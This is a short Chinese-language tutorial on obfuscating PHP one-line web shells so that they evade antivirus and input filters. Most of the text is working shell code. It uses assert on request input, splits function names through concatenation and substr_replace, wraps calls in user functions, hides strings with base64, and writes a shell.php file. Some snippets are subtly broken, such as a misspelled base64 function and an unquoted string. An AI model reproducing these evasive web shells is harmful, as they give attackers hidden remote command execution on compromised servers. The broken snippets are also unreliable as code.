php一句话木马免杀

php一句话木马免杀

针对于php一句话木马做免杀：

利用php动态函数的特性，将危险函数拆分成字符，最终使用字符串拼接的方式，然后重新拼接，后加括号执行代码，并且可以使用花指令进行包装，如无限if(1=1)套接，以此来做伪装绕过，达成免杀

assert()

如果过滤eval()函数时，可以考虑尝试assert()函数

assert() 会将字符串当做PHP 代码来执行

• assert() 只能执行单条PHP 语句。
• assert() 是一个函数，可以动态调用。
• 高版本PHP 中，assert() 被弃用

此时一句话木马即可构造为

<?php @assert($_REQUEST['cmd']); ?>

字符拼接函数

当eval和assert都被过滤时，即可考虑将函数拆分重组

例如

<?php$a="a"."s";$b="s"."e";$c="rt";$d=$a.$b.$c;$d($_REQUEST['cmd']);
?>

可正常执行

编码加密后也可连接

php函数替换拼接

可以使用php函数来进行字符串的替换拼接

substr_replace() 函数是 PHP 中用于替换字符串中的一部分内容的函数

使用方法：

string substr_replace ( string $string , string $replacement , int $start [, int $length ] )

参数说明：

• $string：原始字符串。
• $replacement：替换的字符串。
• $start：替换的起始位置。
• $length：可选参数，指定要替换的长度。如果未指定，则替换从起始位置开始一直到字符串末尾的部分

示例

<?php$a=substr_replace("asxxxx","se",2);$b=substr_replace($a,"rt",4);@$b($_REQUEST['cmd']);
?>

同上可执行可连接

定义函数包裹

使用定义函数，将危险函数放进函数中，替代调用

<?phpfunction asrt1($a){assert($a);}@asrt1($_REQUEST['cmd']);
?>

GPC替换

当request被过滤时，尝试使用GET或者POST

当然该参数也可以使用字符串拼接等方式组合

加密

例如使用base64加密

<?php$a=base_decode(YXNzZXJ0/ZXZhbA==);$b=$a(base64_decode($_REQUEST['cmd']));
?>

生成一句话马文件

<?php file_put_contents('shell.php','<?php @assert($_REQUEST);?>')?>

同理，如果该函数中出现过滤，则可考虑使用上述的拼接替换字符